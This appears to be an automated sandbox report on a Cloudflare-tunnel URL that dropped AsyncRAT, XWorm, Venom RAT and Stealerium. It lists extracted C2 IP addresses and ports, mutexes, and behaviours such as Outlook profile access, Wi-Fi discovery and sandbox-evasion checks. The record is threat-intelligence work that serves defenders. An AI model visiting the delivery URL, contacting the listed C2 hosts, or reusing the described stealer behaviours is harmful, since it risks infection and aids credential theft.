asyncrat | hxxps://ni-olympic-forests-invoice[.]trycloudflare[.]com

Resubmissions

18-11-2024 23:43

241118-3qqanaspdj 8

18-11-2024 23:08

241118-243bpsxbpa 10

Analysis

max time kernel
1602s
max time network
1604s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-11-2024 23:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://ni-olympic-forests-invoice.trycloudflare.com

Score

10^/10

asyncrat stealerium xworm default collection discovery execution persistence privilege_escalation rat stealer trojan

Malware Config

Extracted

Family

asyncrat

Botnet

Default

111.90.143.248:3232

111.90.143.143:3232

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

Version

5.0

111.90.143.143:7000

Mutex

mVXOUHi2OrYslEh1

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

111.90.143.248:4449

Mutex

kqsjiymxwcmgkmn

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/5424-12342-0x0000000002480000-0x000000000248E000-memory.dmp	family_xworm

Stealerium
An open source info stealer written in C# first seen in May 2022.
stealer stealerium
Stealerium family
stealerium

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1120 created 3508	1120	pythonw.exe	56
PID 3496 created 3508	3496	pythonw.exe	56
PID 684 created 3508	684	pythonw.exe	56
PID 5680 created 3508	5680	pythonw.exe	56

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 3 IoCs

rat

resource	yara_rule
behavioral2/memory/5544-12072-0x00000000021C0000-0x00000000021D6000-memory.dmp	family_asyncrat
behavioral2/memory/6084-12371-0x0000000002A50000-0x0000000002A66000-memory.dmp	family_asyncrat
behavioral2/memory/5328-12390-0x000000001BB30000-0x000000001BB48000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
104	5444	powershell.exe
123	5952	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5648	powershell.exe
5444	powershell.exe
5952	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 9 IoCs

pid	Process
2808	python.exe
3896	pythonw.exe
6008	pythonw.exe
6044	pythonw.exe
3028	pythonw.exe
1120	pythonw.exe
3496	pythonw.exe
684	pythonw.exe
5680	pythonw.exe

Loads dropped DLL 43 IoCs

pid	Process
2808	python.exe
2808	python.exe
2808	python.exe
3896	pythonw.exe
3896	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
3028	pythonw.exe
3028	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
684	pythonw.exe
684	pythonw.exe
684	pythonw.exe
684	pythonw.exe
684	pythonw.exe
684	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
311	icanhazip.com
315	ip-api.com
357	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5400	tasklist.exe
552	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2916	cmd.exe
756	netsh.exe
4612	cmd.exe
6128	netsh.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	explorer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	explorer.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133764449735918795"	chrome.exe

Modifies registry class 60 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2 = 14002e8005398e082303024b98265d99428e115f0000	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 010000000200000000000000ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	Notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads"	Notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Documents"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 020000000100000000000000ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616257"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "2"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\NodeSlot = "3"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	Notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 14002e80922b16d365937a46956b92703aca08af0000	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\MRUListEx = ffffffff	Notepad.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
4732	Notepad.exe
5996	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
4656	chrome.exe
4656	chrome.exe
4656	chrome.exe
4656	chrome.exe
4092	msedge.exe
4092	msedge.exe
4128	msedge.exe
4128	msedge.exe
4304	identity_helper.exe
4304	identity_helper.exe
5444	powershell.exe
5444	powershell.exe
5444	powershell.exe
5952	powershell.exe
5952	powershell.exe
5952	powershell.exe
5648	powershell.exe
5648	powershell.exe
1120	pythonw.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
3496	pythonw.exe
684	pythonw.exe
5680	pythonw.exe
5328	explorer.exe
5328	explorer.exe
5328	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4912	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
1120	pythonw.exe
3496	pythonw.exe
684	pythonw.exe
5680	pythonw.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe

Suspicious use of SendNotifyMessage 56 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
